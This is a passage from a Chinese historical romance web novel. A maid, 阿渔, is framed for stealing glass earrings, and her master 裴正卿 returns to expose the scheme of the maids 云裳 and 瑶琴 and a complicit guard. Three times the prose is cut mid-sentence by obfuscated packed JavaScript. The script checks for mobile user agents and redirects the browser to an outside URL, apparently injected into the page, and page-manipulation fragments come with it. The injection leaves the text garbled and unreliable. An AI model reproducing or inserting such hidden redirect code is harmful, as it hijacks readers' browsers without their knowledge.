阿渔心下冷笑,好一句“公道话儿”,真真是一环扣一环,算盘打得叮当响。旁人不知道,瑶琴难道还不知道邹妈妈对她的针对吗? 薛娘子闻言却觉茅塞顿开,招呼身旁的一个婆子立刻去请邹妈妈来主持公道。 另一方面,薛娘子多了个心眼儿,悄悄对身旁的一个小丫鬟使了个眼神,示意她去正院找柳氏身边的张妈妈。 24. 阮郎归 不一会儿,邹妈妈便被请了过来。 许是方才在路上已经了解了事情的来龙去脉,邹妈妈甫一到来便问失主:“方才路上已了解了大概,听说你丢的是一对琉璃耳坠?” 云裳回道:“回邹妈妈,正是。奴婢的那对琉璃耳坠是夫人先前所赏,极为珍贵,便是整个吴州......” 邹妈妈抬手打断云裳后面的话:“我问什么你答什么便是,多余的话不必多说,可记住了?” 云裳一噎,诺诺应下。 “耳坠是何时不见的?” “回邹妈妈,具体何时不知,奴婢前儿个才佩戴过一次,之后便收入箱奁中,今儿个晌午原想取出擦拭一番,却发现已经不翼而飞了。” 邹妈妈若有所思:“以你所言,最后一次见到那副耳坠是前日?” 云裳回道:“回邹妈妈,正是。” 邹妈妈接着问道:“从最后一次见到耳坠,直到今日发现耳坠丢失,这期间可曾发生了什么不同寻常的事,或者可曾发现什么异样?” 云裳赶紧回道:“回邹妈妈,确有一件可疑之事。”说着她用手指指着阿渔,咬牙切齿道,“就是她!阿渔!薛娘子先前分明已经命她搬离东厢房,之后也不曾见她回来过,偏偏这几日频频登门,实为反常!奴婢觉得定是她先前见我戴过那副琉璃耳坠,暗暗起了觊觎之心,这几日频频回到东厢房就是为了摸清耳坠的存放之处,而后便趁我不在,偷走了那副耳坠,藏在包裹中带进了栖云堂。” 阿渔听罢,心中一阵嗤笑,她们为了陷害她,还专门编出了这么一套像模像样的故事,当真是煞费苦心。 邹妈妈思忖片刻,将视线落到阿渔身上,问道:“云裳的怀疑不无道理,你可有什么要说的,关于你为何突然一改常态频频回东厢房?” 阿渔坦荡荡地迎上邹妈妈打量的目光,回道:“回邹妈妈,云裳方才所言纯属臆测。我承认这几日我确实去过东厢房,只是原因并非是云裳口中的踩点偷窃,而是去给汀兰送些吃食,闲来无事再叙叙旧话,切磋针线而已。” 邹妈妈半信半疑道:“当真?” 阿渔眼神明净,毫不怯懦地直直对上邹妈妈的视线,莞尔一笑道:“汀兰亦在此处,邹妈妈若是不信,大可再询问她一遍便是。” “对对,我能为她做证。”汀兰从人群中挤出来,走到邹妈妈面前,义愤填膺地将这些日子厨房对她的种种苛待如竹筒子倒豆子般尽数吐露出来,而后一五一十地将在枇杷园偶遇阿渔,以及收到枇杷膏的事说了出来。 邹妈妈平日里并不了解汀兰,但见她言辞恳切,话语间虽然啰嗦,却有诸多详实的细节,面上不动神色,心里已然信了大概。 邹妈妈没有打断汀兰啰啰嗦嗦的回忆,眼神却淡淡地瞥向身后的薛娘子,眼底的疏离化作如有实质的利刃,饱含深意地在她脸上停留了片刻。 薛娘子在邹妈妈目光如炬的凝视下,冷汗簌簌地往下落,心里暗骂贾婆子那个贪得无厌的腌臜老货将事做得太绝,逼得人亲自在邹妈妈面前告状,害得她连带着吃瓜落! 邹妈妈心里默默想到,薛娘子平日里私底下便小动作不断,念及没有怠慢大人,且她又是柳氏的人,平日里便睁一只眼闭一只眼,只是眼下看来,是该要对她敲打约束一番了。 至于云裳,一双无甚稀罕的琉璃耳坠,一手栽赃嫁祸的稚嫩手段,邹妈妈跟着裴老夫人管理内宅几十年,早就练就了一双金睛火眼,一颗剔透玲珑心,怎的可能看不出这是一场她自个儿自导自演的闹剧。 邹妈妈漫不经心地划过这个念头,正待出口终止这场闹剧,忽然注意到瑶琴抬首向她投来一道意味深长的恳求目光。 邹妈妈一顿,将瑶琴的那道目光和眼前的闹剧结合在一起,霎时间便想通了一切,哪里是栽赃嫁祸,分明是剑指情敌的一场死局! 邹妈妈心下暗暗叹了一口气,大人临走前,千叮咛万嘱咐,不准任何人去打扰阿渔,旁人看不出,她作为看着大人长大的老妈子怎么会看不出,大人分明是动了心,动了情。 汀兰这边终于将她和阿渔这段日子的交集交代了干净,栖云堂外霎时间安静了下来,众人都在等着邹妈妈拿个主意。 须臾,邹妈妈开口道:“栖云堂是大人的居所,任何人都不准进入,这是铁律。只是事情闹到这个地步,总归要给众人一个交代,故而,其他人都留在外面,我亲自进去搜!” 阿渔心下冷笑,当真是一丘之貉! 见邹妈妈抬步要往里走,高虎等人犹豫地看了看邹妈妈,又看了看阿渔,不知道该不该拦。 “邹妈妈请止步!”阿渔走上前,一只手负在身后,一只手抬起拦住邹妈妈的去路,“恕我不能让邹妈妈踏进一步。大人说过,任何人不准随意靠近栖云堂!这里的任何人,自然也包括邹妈妈。” 邹妈妈冷冷地抬首看向阿渔,训斥道:“放肆!大胆罪奴胆敢阻拦于我!你别忘了自个儿的身份,纵然你再得大人青睐,到底只是个无名无份的奴婢,我才是大人亲自任命的管事妈妈!” 阿渔仍然保持阻拦的动作,毫不退让:“邹妈妈说的是,我是奴婢不假,只是大人亲口交代让我守好东院,便是谁来我都不会放行,邹妈妈若是想进去,除非先过了我这一关。” 邹妈妈养尊处优多年,不论是在裴府,还是南下到了刺史府,从来没有奴婢这么明目张胆地顶撞她,原先压在心底对阿渔身份的不满骤然放大,呼吸急促,怒极反笑道:“好好好,反了,真是反了你!” 说罢,视线越过阿渔阻拦在面前的手臂,看向她身后的一众裴府侍卫,冷冷道:“高虎,你可还记得自个儿的身份?!堂堂的裴府侍卫长如今任随什么阿猫阿狗都能指挥得动你了?” 高虎犹豫地将搭在佩剑上的手放下,垂着脑袋吞吞吐吐道:“......回邹妈妈,大人临走前交代过守好栖云堂,一切听从阿渔姑娘吩咐。” 邹妈妈抚着气得突突跳的心口,斥责道:“糊涂!她是罪奴,怎可将栖云堂交到她的手上。我命令你们速速让开,并且将眼前这个罪奴拖下去!” 一边是主子宠爱的奴婢,一边是老夫人的陪房娘子,两边都不敢轻易得罪,高虎硬着头皮夹在中间左右为难。 “怎的,我现在说话不管用了是吗?” 高虎冷汗直下,后脊一阵发凉,大人不在,邹妈妈既是府里的掌权嬷嬷,又是老夫人身边的耳目,自然不会害大人,至于阿渔姑娘,左右她也去不了京城,不值当为了她对抗邹妈妈。 高虎为难再三,到底不敢公然违抗,邹妈妈的命令,示意周围的侍卫放下戒备,让开道路,而后脚下踌躇半晌,终究还是缓缓抬步,走到阿渔身旁,拱手抱拳道:“......阿渔姑娘,恕高虎得罪了。” 说罢,便要钳住阿渔的手臂。 阿渔咬了咬唇,抬起的那只手臂握拳死死不动,虽然她早料到会到这一步,只是如果不是万不得已,绝不能让她进去,绝不! 就在这千钧一发之际,突然不知从何处飞来一颗小石子,宛如闪电流星之势快速成功从众人眼前飞过,精准地击中高虎即将触碰到阿渔的手臂。 “啊!”高虎吃痛一声,下意识缩回手,捂住自己红肿的手腕。 “我看谁敢碰她!” 一道低低的男声从不远处传来,在众人惊讶的七嘴八舌声中,一人一仆穿过人群走了出来,其中为首的男子高大挺拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481271|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身着青水纬罗圆领窄袖长袍,鞋上还有飞马溅上的泥点子显得风尘仆仆,身后的机灵小厮拿着一把弹弓,显然方才的石子是他所为。 阿渔看着那道青色的身影从人群中走来,宛如天神降临一般,拯救她于水火之中,仿佛做梦一般,或者就是她的梦呢,不然为什么男人的面容变得模糊,像是笼罩在水雾中,在火把的照射下,影影绰绰又泛着七彩的光线。 “怎的哭了,可是受委屈了?” 裴正卿心疼地轻轻拭去阿渔眼角的泪水,只见她精致的魅眸被泪水氤氲得红红的,比任何胭脂都要潋滟夺目,秋水盈盈的黑眸中盛满了委屈的泪水,看得裴正卿心中酸涩不已。 阿渔眨巴眨巴眼睛,似是不确信眼前的人到底是真实的,还是她犯了臆症。 裴正卿揽过阿渔的后脑勺,将她扣在肩头,背过身挡住众人的视线,垂首在她耳边轻轻哄道:“莫哭,我回来了,一切有我。” 不知为何,他越是娇哄,阿渔的眼泪流得越凶,原本僵硬的身体,不知不觉地软在了他的怀中。 阿渔也未曾料到裴正卿会突然回来,虽然方才形势危急,但她其实早有预料,便是他不回来,她也有应对之策。只是裴正卿一回来,阿渔就像跌倒的小孩看见了宠爱她的大人,不需要自己故作加强,想哭就哭,想躲在人身后就躲在身后,因为所有倚仗。 待得到了足够的哄,阿渔方才神思回笼,想起眼下的情形,红着脸轻轻推了推裴正卿的胸膛,退出了他的怀抱,羞答答地小声道:“大人,这么多人呢。” 裴正卿低低一笑,大掌宠溺地揉了揉她毛茸茸的头顶,而后嘴角笑意淡下,转过身,看向邹妈妈淡淡地说道:“邹妈妈,你可还记得我此行离去前交代你的那些话?” 听到主子问责,邹妈妈垂首恭敬,却不急不忙道:“回大人,大人离去前交代老奴,不可随意叨扰阿渔姑娘,亦不可为她指派活计。” 裴正卿眯了眯眸子:“那你又是如何做的?” “回大人,老奴一直谨记大人吩咐,未曾违背过分毫。只是,这东院并非只有阿渔姑娘一人,大人既任命老奴为管事嬷嬷,那料理内宅之事老奴定责无旁贷。云裳姑娘耳坠失窃,东院内上上下下都找过了,阿渔姑娘同样身在东院,且先前频频出入东厢房,自然也有嫌疑。是故并非老奴无事生非,实是为了给众人一个交代,亦是为了还阿渔姑娘一个清白。” 这一番话说得天衣无缝,云裳闻言揉着手帕喜忧参半,一边暗自窃喜邹妈妈是站在她这边的,一边担忧裴大人是否会明目张胆地袒护阿渔,若当真如此,接下来的戏可如何唱下去是好。 云裳兀自胡思乱想,过了好一会儿,突然发现自邹妈妈方才说罢,场内半晌没有动静,寂静得鸦雀无声。她偷偷抬眸觑了眼裴正卿的反应,却见他面无表情,眼底的温润凝成寒冰,周身的儒雅化作寒寂,仿佛在酝酿着什么风暴。 裴正卿愈是不说话,众人的心里愈是七上八下,抿着嘴巴绷紧身子,想将自己藏进人群中,一股黑云压城般的压迫感逐渐在人群中弥散开。 须臾,裴正卿缓缓开口道:“邹妈妈,你在府里伺候三十余载,又是母亲派来随我南下照料生活的忠仆,内宅里的事,你应当知道什么该做,什么不该做。此次婢女耳坠失窃之事,擅自违抗我的命令私闯栖云堂,实为不忠;未能及时解决,反将事情扩大,实为失职;仅听信一面之词妄下决断,实为糊涂。念及你是府里的老人儿,有些话我便不说得太过,给你留些体面,只一点你需牢牢谨记,切勿私心用甚。” 裴正卿虽然没有出离愤怒,话语间仍然克制有礼,但字字句句说得极重。 邹妈妈闻言身形一晃,险些站不住。 25. 破阵子 主子当着一众奴仆的面儿下了她的面子是一方面,最让邹妈妈受不住的是,她从小看到大的哥儿竟然会指责她不忠。这对于邹妈妈这种一生从小到大,婚丧嫁娶皆与裴府息息相关的老人儿而言,简直是可以以头抢地的死罪。 “另外,”裴正卿淡淡地扫视众人,说出的话却极为严厉道:“从今日起,府里任何人不准提“罪奴”二字,凡有违背者,掌嘴五十,再犯,轰出府外!” “奴才/奴婢遵命。”众人忙不迭诺诺应下。 邹妈妈心梗地捂住胸口,无奈地垂上眼眸,她的主子哥儿在人生的前三十多年是最克己循矩的君子,如今遇到喜欢的人,连“罪奴”两个字都成了不能言的忌讳,究竟是福是祸? 无论是福是祸,邹妈妈心里明白,大人已经彻底陷了下去,无法自拔,也对旁人伸出的援手视若无睹。 罢了罢了,她原就不该淌进这趟浑水,如今什么还没做,大人就这般宠着护着,左右要不了多久她们便会返回京城,大人愿意宠就随他罢,不过是个落不得结果的玩意儿。 想通这点,邹妈妈长长叹息,垂首福身道:“老奴遵命。” 裴正卿微微侧首看向阿渔,眼底的寒潭瞬间化作盈盈的温润,嘴角噙着一抹温柔的笑意。 阿渔原本被裴正卿方才的冷厉严肃吓到,不曾想平素温文尔雅的人发起火来这般可怕。察觉到男人的视线后,她怯怯地抬首,却一头撞进他的温柔视线里,顿时心头一暖,生平第一次在爹爹去世后感受到成年男子满满的宠溺,一时间不知如何回应,抿笑羞涩地垂下眸子。 裴正卿清浅一笑,眼角瞥见或是举着火把,或是拿着灯笼的众人,嘴角的笑意很快便淡了下来。 邹妈妈方才所言,固然有她自己的私心,但裴正卿觉得她有一句话没有说错,那便是事情闹到这般地步,即便他是主子,也不能当作无事发生,终归要给众人一个交代才是。 裴正卿不动神色地在脑中快速思索对策,眼角忽瞥见人群中的薛娘子,心念一动,将她点了出来,问道:“邹妈妈年纪大了,我知道这些日子东院里的杂事都是你在负责。一件微不足道的耳坠丢失之事便将小小的东院闹得天翻地覆,甚至要查到我的栖云堂,莫非是刺史夫人认为我无识人之能,错将偷鸡摸小之徒调入房内,还是说,觉得我惦记她赏给婢女的耳坠,故意指使房内的人前去行窃?” 薛娘子是柳氏的人,她的一举一动自然让人联想到柳氏的意图,裴正卿这一句话直接将问题的性质变得严重得多。 薛娘子吓得连忙上前几步跪下,诚惶诚恐地磕头:“大人明鉴,奴婢位卑言轻,怎敢搜查大人的栖云堂,大人和邹妈妈先前抬爱,让奴婢管理院里杂事,奴婢向来尽职尽责,只是这次的耳坠丢失牵扯甚广,奴婢不敢擅专,才遣人去请邹妈妈拿主意。至于我家夫人,求大人明察,方才正院遣人回话,夫人早先收到城中贵妇人的帖子,今儿个一早便出门赴宴,直到现在尚未归来,决计不可能对大人和阿渔姑娘有任何旁的念头,求大人明察!” 薛娘子不愧是柳氏调教出来的,当真是一脉相承的精明圆滑。今日这起事仔细算来确实怪不到她头上,若真追究起来,也只是决策不当,可她名义上只是个二把手,便是顶罪也该是邹妈妈这个名义上的管事妈妈。 至于柳氏,阿渔早就注意到薛娘子先前悄悄派了个丫鬟出去,想来便是去正院。柳氏不在府里应当是真的,否则动静闹这么大,她一个当家夫人不可能躲着不出现,只怕这也是云裳和瑶琴她们算计好的。 裴正卿淡淡道:“这么说,问题便简单了。柳夫人送来的婢女连自己的东西都保管不好,丢了东西便劳累整个院的下人陪她找,甚至胡闹到要搜查我的住处,这样的大佛东院承受不起,让她如何来的便如何回去。” 薛娘子一愣,这是要赶云裳走? 也是,这样的惹祸头子,主子眼中岂能容得下她。眼下的情形,耳坠无处可寻,栖云堂自是查不得,若想给众人一个交代,撵走惹祸的源头是最简单的办法,还不会殃及任何人,薛娘子心念一动,遂起了丢卒保车的念头。 云裳见状,当即乱了阵脚,忙不迭泪如雨下地跪下求饶:“奴婢认错,求大人不要赶我走,求大人再给奴婢一次机会,奴婢再也不敢靠近栖云堂了......耳坠,对,耳坠不是......” 瑶琴闻言脸色微变,当即上前一步打断了她的话:“奴婢有一句话不知当讲不当讲。” 裴正卿看着突然冒出来的瑶琴默了两秒,颔首淡淡道:“说罢。” “回大人,事已至此,将云裳姑娘赶走固然可以堵住悠悠众口,可阿渔姑娘的清白便彻底成了悬案。若今后府里再发生类似的事情,只怕......” 阿渔心下冷笑,云裳是个遭不住恐吓的软骨头,偏这瑶琴倒是个硬茬子,宁愿冒着忤逆犯上的风险,也要攀咬住她。 瑶琴方才所言算是将裴正卿架在那儿,表示他想要护住阿渔,也不能不考虑旁人的看法。 可惜,裴正卿却根本不吃这一套,他漫不经心地抬眸,温润的薄唇轻启,清亮温柔的嗓音却说着霸道无比的话:“裴府祖上武功起家,治府如治军,若是有胆敢违抗命令者,任随何人,一律施以仗刑扔出府外!” 众人闻言皆颤巍巍地噤声,瑶琴身形一抖,垂下眼眸,不敢再言语,只在无人看到的地方,眼底盛满怨毒。 凭什么! 凭什么一个新来的婢女就能得到大人的青睐!凭什么一介罪奴都可以住进栖云堂!凭什么那个人不可以是她!!! “我觉得瑶琴姑娘说得不错。” 突然,阿渔缓缓开口道,而后不顾众人惊诧的眼神,抬首对裴正卿莞尔一笑,一反常态地说道:“大人护我,我自是一千个一万个感激。不过瑶琴姑娘有句话说得不错,闹剧一场,总归在我身上留下一个抹不掉的泥点子,与其藏着掖着禁止旁人言语,不如正大光明地证明给众人看,耳坠并非我所偷窃。” 裴正卿看着阿渔眼角狡黠的笑意,眼中温柔、不解、狐疑、打量和宠溺交织在一起,沉吟片刻后,他认真地说道:“你当真决定如此?你大可不必勉强,我说过凡是你不愿的事,都可以不去做,我定会好好护住你。” 有他一句话,阿渔眼底的笑意愈深,她意味深长道:“我自信我没做过的事,就不会发生,当然若是有人做过一些事,便是想要隐藏亦无处可藏。只是栖云堂到底不是寻常的地方,大人身份尊贵,自然不能劳烦大人亲去;我身有嫌疑,为自证亦不能去;高虎等人位卑同样不可踏足正房,如此一来,便只能劳烦大人身边的贴身侍卫常喜前去搜查。瑶琴姑娘,还有——” 阿渔点到另外两人:“薛娘子,邹妈妈你们三人可同意?” 薛娘子最识时务,忙不迭应道:“自是同意。” 邹妈妈不置可否:“一切但凭大人决断。” 瑶琴见阿渔一改先前的推三阻四,反而主动提出自证清白,多疑的心性让她不仅不拍手称快,反而疑窦丛生。 阿渔绝不是云裳这般空有美貌,毫无城府的蠢女人,她的心机绝不在自己之下,先前咬死不松开才是正常。现下突然改口,到底是见了大人太过得意忘形,失了防备,还是方才趁人不注意同常喜偷偷串通好了? 瑶琴脑中霎时间闪过诸多想法,却都因找不到明确的线索而不得不放弃。她定了定神,强自安慰自己莫要多想,左右先前已经做足了准备,定能稳操胜券。 “常喜是大人的贴身侍卫,奴婢和嬷嬷们定是信得过。” 裴正卿深深地看了阿渔,侧首下颌轻抬,示意常喜按阿渔的吩咐去做。 常喜平日嘻嘻哈哈没个正经,然而能在裴正卿身边做事,又怎会只是表现得那么简单? 虽然阿渔方才只说搜查她的房间,但常喜是个粗中有细的,只除了书房和裴正卿的寝所梧竹居,不仅搜查了阿渔的房间,还将储物的东耳房、他自个儿的房间,以及竹林的方方寸寸,犄角旮旯搜了个遍。 在这期间众人的反应亦极有趣。 裴正卿站在阿渔身旁,垂眸看向她毛茸茸的头顶。阿渔气定神闲,反倒是瑶琴不知为何,愈发不安,总觉得阿渔的反应不对劲,却又不知为何不对,她拿着绢帕的手逐渐攥紧,心跳如鼓,惴惴不安。 云裳没有瑶琴想的那么多,她的幸灾乐祸简直要写在脸上了,生怕旁人不知阿渔即将大祸临头。 看着云裳自以为是的得意模样,阿渔嘴角勾起一抹微小的轻嗤。 当真是个蠢货,连自个儿被人当枪使了都不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481272|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,真真是蠢到极点。 阿渔漫不经心地扫过邹妈妈、薛娘子、瑶琴,最后视线在瑶琴脸上多端详了片刻,心中不得不感叹不愧是世家大宅培养出的一等丫鬟,不论心机和直觉都是一等一的好,能想出那么精准歹毒的计谋,光是这点便比云裳强百倍,更别提还能预感到事情不妙,当真是聪明至极。 只是,可千万别聪明反被聪明误才好。 众人各怀鬼胎地等了半个时辰后,常喜终于千呼万唤,满头大汗地跑了出来,眼尖的人快速在他双手打量了一圈,没有看到半点耳坠的影子。 常喜擦着汗,气喘吁吁地回道:“回大人,奴才将栖云堂翻了个遍,不曾见到所谓的琉璃耳坠。” 裴正卿颔首,淡淡地“嗯”了一声,似乎并不意外。 “怎么会,明明......” 云裳不敢置信地喃喃道,意识到眼下是什么场合,她立刻捂住嘴悄悄后退两步,将自己藏进人群中。 瑶琴的脸色同样异常难堪,虽然不知何处出了岔子,但她确信她的计谋定然已经被阿渔识破,不仅如此,对方还耐着性子装作什么都不知道,陪她们唱了好大一出戏。 瑶琴嘴角绷紧,心知这一次是她输了,经过今日一遭,阿渔定然愈加防备,下一次若想对付她便更难了。 可惜,阿渔却根本没打算再给她下一次的机会。 “先前云裳和瑶琴姑娘都说了那么多,现下奴婢也有一言,不知当讲不当讲。” 阿渔挑眉问道,那模样像极了娇气的狸奴抻了抻懒腰,四爪开花,两处锋利的指甲,拱起腰背,走到主人身边身简单地点了点头,示意自个儿要外出打猎,让他莫要碍手碍脚。 裴正卿低低一笑,温柔宠溺道:“我说过,你不用自称奴婢,想说什么便说罢。” 阿渔得了准话儿,心里愈发有底,踱着步子缓缓走到对面,不急不徐道:“相信众人方才已经听到了,云裳丢失的那副耳坠并不在栖云堂,是故同我并无干系,只是有一点,我分外好奇,说丢耳坠的是云裳,说私藏耳坠是我的亦是云裳。恕我妄自揣测,丢失的那副琉璃耳坠是否当真有其物,或者当真丢失了不成?故而我想请大人做主,前去搜查一番云裳的屋子和脂粉奁。” “不可!”云裳立刻反驳道,“琉璃耳坠是真的,是夫人在我进府那年所赏,府里许多人曾见我佩戴过,至于丢失亦确有其事,奴婢不敢撒谎,求大人明察!” “为何不可?”阿渔反问道,同时将先前云裳对她说过的话如数奉还,“只是搜查一番,也好还你一个清白。” “......” 云裳嗫嚅半晌,说不出所以然来。 裴正卿见状,示意常喜和薛娘子二人前去搜查云裳的住所。 须臾,常喜捧了个匣子回来,里面是满满的珠钗首饰,当着众人的面他一一清点了一番,确实没有所谓的琉璃耳坠。 依云裳先前所言,府里曾有不止一人见过她佩戴琉璃耳坠,那么耳坠应当确有其物,眼下既不在首饰匣中,应当是失窃无疑。 云裳心有余悸地偷偷瞟了不远处的瑶琴一眼,幸好当初听了她的话,忍痛将耳坠交了出去,否则若是依着自个儿先前假栽赃的建议,此刻定然被当众揭穿了。 瑶琴却不像云裳想的那般简单,她的脸色愈发难看,她确信那副琉璃耳坠就在栖云堂内,为何突然不翼而飞?阿渔不是毫无心机之人,为何突然要去搜查云裳的首饰匣? “等等。” 常喜突然出声,似是发现了什么不同寻常之事。他将那些珠钗首饰尽数取出,交给一旁的薛娘子,而后曲起食指在匣子不同位置敲敲打打,放在耳边仔细倾听。 “嘟嘟——” 匣子是木制的,敲起来是闷闷的响声,在试了好几处后,终于在匣子底部听到了不同寻常的声音,听起来是一道格外清脆的空响,显然匣子底部有夹层! 常喜灵机一动打开匣子,从里面拆掉隔板,果然见到一副成色极好的琉璃耳坠躺在其中,旁边还有一副亮闪闪的金臂钏和五块整整齐齐的银铤!!! 常喜将琉璃耳坠、金臂钏和五块银铤呈给裴正卿。 裴正卿接过随意地打量了一番,淡淡道:“这便是你不惜大闹栖云堂也要寻的琉璃耳坠?” 26. 狼与狈 云裳得意的笑容陡然一僵。 耳坠先前分明拿去陷害阿渔了,怎的又回到了她的首饰匣中?还有金臂钏,只有丰润的富家女子才会佩戴,她根本就没有这件首饰,怎的突然出现在她的匣子中? 不对不对,重点是她的首饰匣何时平白多了一层夹层,为何她先前从未发现? 云裳焦急地摆手辩解道:“奴婢也不知道怎么回事,这个首饰匣不是奴婢的,奴婢先前从来不知里面还有夹层......耳坠,确实丢了,不知怎的突然出现在这儿......” 云裳的辩解显得分外苍白无力,她急得百口莫辩,下意识看向瑶琴,却见她垂眸敛眉,一副毫不相关的模样,分明没有救她的打算。 好你个贱人!想要明哲保身,将锅都推到老娘身上,没门!若是老娘今日被赶走东院,定让你也吃不了兜着走! 云裳一咬牙,索性反水,不管不顾一股脑全给曝了出来:“是瑶琴!一切都是她指使我干的!” 依照云裳所言,她陷害阿渔是出于嫉妒。 “我自认才貌不输阿渔,可大人却看中了她,将她调入栖云堂,我心里甚是不服。正好瑶琴找上了我,说可以帮我想个办法让阿渔遭大人厌弃,甚至将她赶出栖云堂。我一时鬼迷心窍,起了歹念信了她的话,便应了下来。” “大人明鉴,奴婢就是有天大的胆子,也不敢想出搜查栖云堂的法子。是瑶琴说,让我拿出一件珍贵的东西,她有门路,可以神不知鬼不觉地送进栖云堂,放到阿渔的房间内,如此一来,便可以将家贼的名头嫁祸到阿渔头上。还有,瑶琴还说......说,对了,说阿渔品行不端,兼之未能守好栖云堂,引得众人靠近喧哗,便是大人有心包庇,也不得不将她发落出去,以儆效尤!” 云裳吓破了胆,知道自己今儿个在劫难逃,心想就算是死也要找个垫背的,索性一咬牙一跺脚豁了出去,将瑶琴同她商议的密谋抖落得一干二净。 裴正卿出身世家大族,从小宅院内的明枪暗箭不知见了几何,自然知晓后宅的女人毒起来能有多么不择手段。 “一计接着一计,筹谋缜密只为赶走我房里的人,当真是好心机,将你们留在东厢房倒是委屈你们了。” 一番话透露着寒意恻恻,裴正卿明褒暗贬话里有话,火把和灯笼的光线打在他的侧脸上,在众人看不见的地方,阴沉沉的乌云在他的眼底逐渐聚集。 瑶琴突遭云裳反水,却丝毫不见慌乱,迎着裴正卿冷冽的目光,施施然走到人群中央,福身行礼泰然自若道:“回大人,方才云裳所说乃是一派胡言。先前阿渔姑娘住在东厢房时,与奴婢相处客气有礼,且奴婢是裴府出身,而阿渔姑娘又是柳夫人送来的娇奴,自然对她敬重有加。这般往日无冤近日无仇的,奴婢为何要陷害阿渔姑娘?” 云裳气急败坏地破口大骂道:“你才是胡说八道!你个道貌岸然的贱人,端得一副与世无争的白莲花模样,打量谁看不出来似的,你年纪一大把,又无甚姿色,还想痴心妄做大人的通房,我呸!做你的白日大梦去吧!” 瑶琴脸色霎时白了一瞬。 年龄和容貌自古以来都是后宅女人在意的点。论容貌,瑶琴若是在普通人里算得上清秀端正,但同阿渔和云裳相比便差得远,连汀兰都称得上娇俏可人。论年纪,瑶琴七岁被买进裴府,拨给先裴夫人院中伺候。先裴夫人去世后,她一步步被提拔为一等丫鬟,如今年方二十二,比薛娘子之流的管事娘子年轻,却比各院的丫鬟年长,委实有些不上不下。 若不是她一门心思想做裴正卿的通房,早便被府里的主子们指配给小厮,拖到这般年纪,要么给庄子里穷得娶不上媳妇的农夫当正妻,要么给丧妻的管事做续弦。是裴老夫人可怜她的一往情深,才任由她这般不尴不尬地待在裴正卿院中。 见云裳点破了她的小心思,瑶琴黑色的瞳仁骤然幽深,而后很快恢复原样。 “奴婢本不欲多嚼舌根,只是眼下有一句话却不得不说,我和汀兰姑娘平日里同阿渔姑娘并无矛盾,反倒是云裳姑娘,听闻在来东院前便同阿渔姑娘有过争执,后来同住东厢房时,奴婢亦亲眼所见,云裳姑娘常常对阿渔姑娘横眉冷对,明嘲暗讽,多有慢待。是故,云裳姑娘方才一番争辩,想来是阴谋被大人揭穿,情急之下狗急跳墙想要陷害奴婢,请大人明察!” 云裳怒火中烧,跳起来便要扑上去同瑶琴厮打,一旁的薛娘子见状惊得捂住心中,连忙差遣身旁的丫鬟婆子上去拉住她。 “满嘴喷粪的贱蹄子,看我不撕烂你的嘴!放开我!放开我!!” 即便两只胳膊都被婆子架住,云裳犹不死心,死命地伸胳膊指去扯扯瑶琴的头发。 “放肆!” “大人!大人你一定要信我!阿渔我错了,我不该对你起了坏心思,求你帮我跟大人求求情,陷害你的计谋真的都是瑶琴出的!还有匣子里的东西,琉璃耳坠是我的不假,可是那副金臂钏,我从未见过,定是瑶琴想要一石二鸟除掉你我,我是冤枉的,求大人开恩啊!” 云裳扯着嗓子求饶,衣裳云鬓在方才的拉扯间逐渐散乱失了体面。 阿渔看戏看了半晌,原本便打算推进到下一幕,正好云裳开口相求,索性卖个人情,顺水推舟地对裴正卿说道:“如今双方各执一词,真真假假,委实让人摸不着头脑,只是不知大人方才可有注意到云裳先前说的“门路”一词?依云裳所言,栖云堂内存在某种“门路”,可以神不知鬼不觉地将琉璃耳坠放入我的房内。若云裳所言为虚,一切都是她自导自演的一场戏倒没什么。可若她所言为真,栖云堂门外守卫森严,究竟是何方神圣有通天遁地的能耐,还是说......” 若不是外有强敌,便是家有内鬼。 阿渔是受害者,裴正卿和常喜皆不在府中,内鬼只能是......35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481273|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 人群中,眼看火势即将烧到自己身上,那人冷汗涔涔,后脊一阵发凉,后脚跟悄无声息地挪了挪,见势不妙,意欲先逃。 裴正卿耳尖微不可察地动了动,面无异色,淡淡道:“高虎,动手!” 那人闻言仿佛被兔子咬了一般,不打自招,噌地一下拔腿转身而逃。 “兔崽子,盯你半天了,休想逃!” 高虎甫一得令,立刻朝身旁的几个兄弟使了个眼色,不消追出两步,便将那名落荒而逃的侍卫牢牢堵住,三两下将他的手脚死死捆住,扔到了主子面前。 “求大人饶命,奴才万万不敢陷害阿渔姑娘,是......是瑶琴姑娘,是她逼奴才的!” 那名被捆得五花大绑的侍卫是裴府的家生子,深知裴正卿治下极严,若是早些交代,还能少受些皮肉之苦,遂不等严刑拷打,便一把鼻涕一把泪,一五一十地全都交代了出来。 